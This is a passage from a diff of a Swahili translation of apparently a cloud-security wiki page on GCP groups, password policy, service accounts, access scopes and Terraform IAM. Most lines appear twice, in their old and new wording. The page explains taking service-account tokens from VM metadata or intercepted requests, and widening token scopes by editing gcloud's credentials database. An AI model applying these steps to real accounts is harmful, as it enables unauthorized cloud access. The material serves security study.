matumizi kwenye miradi. Wanachama wa kawaida ni sehemu ya timu ya fedha.</td></tr><tr><td><strong><code>gcp-platform-viewer</code></strong><br><em>(sasa si kwa default)</em></td><td>Kukagua taarifa za rasilimali katika shirika la Google Cloud.</td></tr><tr><td><strong><code>gcp-security-reviewer</code></strong><br><em>(sasa si kwa default)</em></td><td>Kukagua usalama wa wingu.</td></tr><tr><td><strong><code>gcp-network-viewer</code></strong><br><em>(sasa si kwa default)</em></td><td>Kukagua usanidi wa mtandao.</td></tr><tr><td><strong><code>grp-gcp-audit-viewer</code></strong><br><em>(sasa si kwa default)</em></td><td>Kutazama kumbukumbu za ukaguzi.</td></tr><tr><td><strong><code>gcp-scc-admin</code></strong><br><em>(sasa si kwa default)</em></td><td>Kusimamia Kituo cha Amri ya Usalama.</td></tr><tr><td><strong><code>gcp-secrets-admin</code></strong><br><em>(sasa si kwa default)</em></td><td>Kusimamia siri katika Meneja wa Siri.</td></tr></tbody></table>
## **Sera ya Nywila ya Kawaida**
@@ -124,25 +134,25 @@ Wakati shirika linaundwa vikundi kadhaa **vinapendekezwa kwa nguvu kuundwa.** Ik
- Kati ya herufi 8 na 100
- Hakuna kurudiwa
- Hakuna muda wa kumalizika
- Ikiwa watu wanapata Workspace kupitia mtoa huduma wa tatu, masharti haya hayatumiki.
- Ikiwa watu wanapata Workspace kupitia mtoa huduma wa tatu, mahitaji haya hayatumiki.
<figure><img src="../../../images/image (20).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../images/image (22).png" alt=""><figcaption></figcaption></figure>
## **Akaunti za huduma**
## **Akaunti za Huduma**
Hizi ni wakala ambao **rasilimali** zinaweza **kuwa** **zilizounganishwa** na upatikanaji wa kuingiliana kwa urahisi na GCP. Kwa mfano, inawezekana kufikia **tokeni ya uthibitisho** ya Akaunti ya Huduma **iliyounganishwa na VM** katika metadata.\
Inawezekana kukutana na baadhi ya **mizozo** unapokuwa ukitumia **IAM na mipaka ya upatikanaji**. Kwa mfano, akaunti yako ya huduma inaweza kuwa na jukumu la IAM la `compute.instanceAdmin` lakini mfano uliyovunja umewekwa mipaka na kizuizi cha `https://www.googleapis.com/auth/compute.readonly`. Hii itakuzuia kufanya mabadiliko yoyote kwa kutumia tokeni ya OAuth ambayo inatolewa kiotomatiki kwa mfano wako.
Hizi ni wakuu ambao **rasilimali** zinaweza **kuwa** **zilizounganishwa** na ufikiaji wa kuingiliana kwa urahisi na GCP. Kwa mfano, inawezekana kufikia **tokeni ya uthibitisho** ya Akaunti ya Huduma **iliyounganishwa na VM** katika metadata.\
Inawezekana kukutana na **mizozo** wakati wa kutumia **IAM na mipaka ya ufikiaji**. Kwa mfano, akaunti yako ya huduma inaweza kuwa na jukumu la IAM la `compute.instanceAdmin` lakini mfano uliyovunja umewekwa na kikomo cha mipaka ya `https://www.googleapis.com/auth/compute.readonly`. Hii itakuzuia kufanya mabadiliko yoyote kwa kutumia tokeni ya OAuth ambayo inatolewa kiotomatiki kwa mfano wako.
Ni sawa na **majukumu ya IAM kutoka AWS**. Lakini tofauti na katika AWS, **akaunti yoyote** ya huduma inaweza **kuunganishwa na huduma yoyote** (haihitaji kuiruhusu kupitia sera).
Ni sawa na **majukumu ya IAM kutoka AWS**. Lakini tofauti na katika AWS, **akaunti yoyote ya huduma inaweza kuunganishwa na huduma yoyote** (haihitaji kuiruhusu kupitia sera).
Baadhi ya akaunti za huduma ambazo utaziona kwa kweli **zinaundwa kiotomatiki na GCP** unapokuwa ukitumia huduma, kama:
Baadhi ya akaunti za huduma ambazo utaziona kwa kweli **zinaundwa kiotomatiki na GCP** unapokuwa unatumia huduma, kama:
```
PROJECT_NUMBER-compute@developer.gserviceaccount.com
PROJECT_ID@appspot.gserviceaccount.com
```
Hata hivyo, inawezekana pia kuunda na kuunganisha kwenye rasilimali **akaunti za huduma za kawaida**, ambazo zitakuwa kama hii:
Hata hivyo, inawezekana pia kuunda na kuunganisha kwenye rasilimali **custom service accounts**, ambazo zitakuwa kama hii:
```
SERVICE_ACCOUNT_NAME@PROJECT_NAME.iam.gserviceaccount.com
```
@@ -150,14 +160,14 @@ SERVICE_ACCOUNT_NAME@PROJECT_NAME.iam.gserviceaccount.com
Kuna njia 2 kuu za kufikia GCP kama akaunti ya huduma:
- **Via OAuth tokens**: Hizi ni token ambazo utapata kutoka maeneo kama vile metadata endpoints au kuiba maombi ya http na zinapunguzwa na **access scopes**.
- **Keys**: Hizi ni jozi za funguo za umma na za faragha ambazo zitakuruhusu kusaini maombi kama akaunti ya huduma na hata kuunda token za OAuth ili kufanya vitendo kama akaunti ya huduma. Funguo hizi ni hatari kwa sababu ni ngumu zaidi kuzitenga na kudhibiti, ndiyo maana GCP inapendekeza kutosababisha hizo.
- Kumbuka kwamba kila wakati akaunti ya SA inaundwa, **GCP inaunda funguo kwa akaunti ya huduma** ambayo mtumiaji hawezi kufikia (na haitatajwa katika programu ya wavuti). Kulingana na [**thread hii**](https://www.reddit.com/r/googlecloud/comments/f0ospy/service_account_keys_observations/) funguo hii **inatumiwa ndani na GCP** kutoa ufikiaji wa metadata endpoints ili kuunda token za OAuth zinazopatikana.
- **Kupitia tokens za OAuth**: Hizi ni tokens ambazo utapata kutoka maeneo kama vile metadata endpoints au kuiba maombi ya http na zinapunguzwa na **access scopes**.
- **Keys**: Hizi ni jozi za funguo za umma na za faragha ambazo zitakuruhusu kusaini maombi kama akaunti ya huduma na hata kuunda tokens za OAuth ili kufanya vitendo kama akaunti ya huduma. Funguo hizi ni hatari kwa sababu ni ngumu zaidi kuzizuia na kudhibiti, ndiyo maana GCP inapendekeza kutosisitiza kuzitengeneza.
- Kumbuka kwamba kila wakati akaunti ya SA inaundwa, **GCP inaunda funguo kwa akaunti ya huduma** ambayo mtumiaji cannot access (na haitatajwa katika programu ya wavuti). Kulingana na [**thread hii**](https://www.reddit.com/r/googlecloud/comments/f0ospy/service_account_keys_observations/) funguo hii **inatumiwa ndani na GCP** kutoa metadata endpoints ufikiaji wa kuunda tokens za OAuth zinazopatikana.
### **Access scopes**
Access scope zime **unganishwa na token za OAuth zilizozalishwa** ili kufikia viwango vya API vya GCP. Zinapunguza **idhini** za token ya OAuth.\
Hii ina maana kwamba ikiwa token inamhusu Mmiliki wa rasilimali lakini haina katika scope ya token kufikia rasilimali hiyo, token **haiwezi kutumika (ku)kuza hizo haki**.
Access scope zime **unganishwa na tokens za OAuth zilizozalishwa** ili kufikia viwango vya API vya GCP. Zinapunguza **idhini** za token ya OAuth.\
Hii ina maana kwamba ikiwa token inamilikiwa na Mmiliki wa rasilimali lakini haina katika scope ya token kufikia rasilimali hiyo, token **haiwezi kutumika (ku)kuza hizo mamlaka**.
Google kwa kweli [inapendekeza](https://cloud.google.com/compute/docs/access/service-accounts#service_account_permissions) kwamba **access scopes zisitumike na kutegemea kabisa IAM**. Kituo cha usimamizi wa wavuti kwa kweli kinatekeleza hili, lakini access scopes bado zinaweza kutumika kwa mifano kwa kutumia akaunti za huduma za kawaida kimaandishi.
@@ -176,13 +186,13 @@ curl 'https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=<access_token>
"access_type": "offline"
}
```
Mipaka ya awali ni zile zinazozalishwa kwa **default** kwa kutumia **`gcloud`** ili kufikia data. Hii ni kwa sababu unapoitumia **`gcloud`** kwanza unaunda token ya OAuth, kisha unaitumia kuwasiliana na maeneo ya mwisho.
Mipango ya awali ni zile zinazozalishwa kwa **default** kwa kutumia **`gcloud`** ili kufikia data. Hii ni kwa sababu unapoitumia **`gcloud`** kwanza unaunda token ya OAuth, kisha unaitumia kuwasiliana na mwisho wa huduma.
Mipaka muhimu zaidi kati ya hizo ni **`cloud-platform`**, ambayo kimsingi inamaanisha kwamba inawezekana **kufikia huduma yoyote katika GCP**.
Mipango muhimu zaidi kati ya hizo ni **`cloud-platform`**, ambayo kimsingi inamaanisha kwamba inawezekana **kufikia huduma yoyote katika GCP**.
Unaweza **kupata orodha ya** [**mipaka yote inayowezekana hapa**](https://developers.google.com/identity/protocols/googlescopes)**.**
Unaweza **kupata orodha ya** [**mipango yote inayowezekana hapa**](https://developers.google.com/identity/protocols/googlescopes)**.**
Ikiwa una **`gcloud`** akreditif za kivinjari, inawezekana **kupata token yenye mipaka mingine,** ukifanya kitu kama:
Ikiwa una **`gcloud`** akreditif za kivinjari, inawezekana **kupata token yenye mipango mingine,** ukifanya kitu kama:
```bash
# Maybe you can get a user token with other scopes changing the scopes array from ~/.config/gcloud/credentials.db
@@ -199,8 +209,8 @@ gcloud auth application-default print-access-token
Kama ilivyoainishwa na terraform katika [https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam](https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam) kutumia terraform na GCP kuna njia tofauti za kutoa ufikiaji kwa principal juu ya rasilimali:
- **Uanachama**: Unapoweka **principals kama wanachama wa majukumu** **bila vizuizi** juu ya jukumu au principals. Unaweza kuweka mtumiaji kama mwanachama wa jukumu kisha kuweka kundi kama mwanachama wa jukumu hilo hilo na pia kuweka principals hao (mtumiaji na kundi) kama wanachama wa majukumu mengine.
- **Mikataba**: Principals kadhaa **wanaweza kuunganishwa na jukumu**. Principals hao **bado wanaweza kuunganishwa au kuwa wanachama wa majukumu mengine**. Hata hivyo, ikiwa principal ambaye hajaunganishwa na jukumu amewekwa kama **mwanachama wa jukumu lililounganishwa**, wakati wa pili **mkataba unapotumika, uanachama utaondoka**.
- **Sera**: Sera ni **mamlaka**, inaonyesha majukumu na principals na kisha, **principals hao hawawezi kuwa na majukumu zaidi na majukumu hayo hayawezi kuwa na principals zaidi** isipokuwa sera hiyo ibadilishwe (hata katika sera nyingine, mikataba au uanachama). Kwa hivyo, wakati jukumu au principal inapoainishwa katika sera, haki zake zote **zinapunguziliwa mbali na sera hiyo**. Kwa wazi, hii inaweza kupuuziliwa mbali ikiwa principal atapewa chaguo la kubadilisha sera au ruhusa za kupandisha hadhi (kama kuunda principal mpya na kumuweka kwenye jukumu jipya).
- **Mikataba**: Principals kadhaa **wanaweza kuunganishwa na jukumu**. Principals hao **bado wanaweza kuunganishwa au kuwa wanachama wa majukumu mengine**. Hata hivyo, ikiwa principal ambaye hajaunganishwa na jukumu amewekwa kama **mwanachama wa jukumu lililounganishwa**, wakati ujao **mkataba unapotumika, uanachama utaondoka**.
- **Sera**: Sera ni **ya mamlaka**, inaonyesha majukumu na principals na kisha, **principals hao hawawezi kuwa na majukumu zaidi na majukumu hayo hayawezi kuwa na principals zaidi** isipokuwa sera hiyo ibadilishwe (hata katika sera nyingine, mikataba au uanachama). Kwa hivyo, wakati jukumu au principal inapoainishwa katika sera, haki zake zote **zinapunguzwa na sera hiyo**. Kwa wazi, hii inaweza kupuuziliwa mbali ikiwa principal atapewa chaguo la kubadilisha sera au ruhusa za kupandisha hadhi (kama kuunda principal mpya na kumfungamanisha na jukumu jipya).
## Marejeo